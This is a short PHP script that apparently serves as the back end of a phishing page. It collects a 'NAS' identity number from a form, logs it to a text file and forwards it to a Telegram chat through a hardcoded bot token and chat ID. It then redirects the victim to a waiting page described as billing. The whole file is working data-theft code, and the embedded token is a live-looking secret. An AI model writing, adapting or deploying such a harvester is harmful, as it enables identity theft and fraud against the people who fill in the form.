<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Capture the NAS input
    $nas = htmlspecialchars($_POST['nas']);

    if (empty($nas)) {
        die('NAS is required.');
    }

    // Save the NAS to a text file
    $file = 'nas.txt';
    file_put_contents($file, "NAS: $nas\n", FILE_APPEND);

    // Send the NAS to Telegram
    $telegramToken = '6957742388:AAHhZ9eDdm8e1RiWZvg29Ex2xEpp6olwQ4g';
    $chatId = '6827314465';
    $message = "New NAS received: $nas";

    $url = "https://api.telegram.org/bot$telegramToken/sendMessage";
    $data = [
        'chat_id' => $chatId,
        'text' => $message,
    ];

    $options = [
        'http' => [
            'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
            'method'  => 'POST',
            'content' => http_build_query($data),
        ],
    ];

    $context  = stream_context_create($options);
    $result = file_get_contents($url, false, $context);

    if ($result === FALSE) {
        die('Failed to send message to Telegram.');
    }

    // Redirect to the billing page
    header('Location: waiting.html');
    exit();
} else {
    die('Invalid request method.');
}
?>
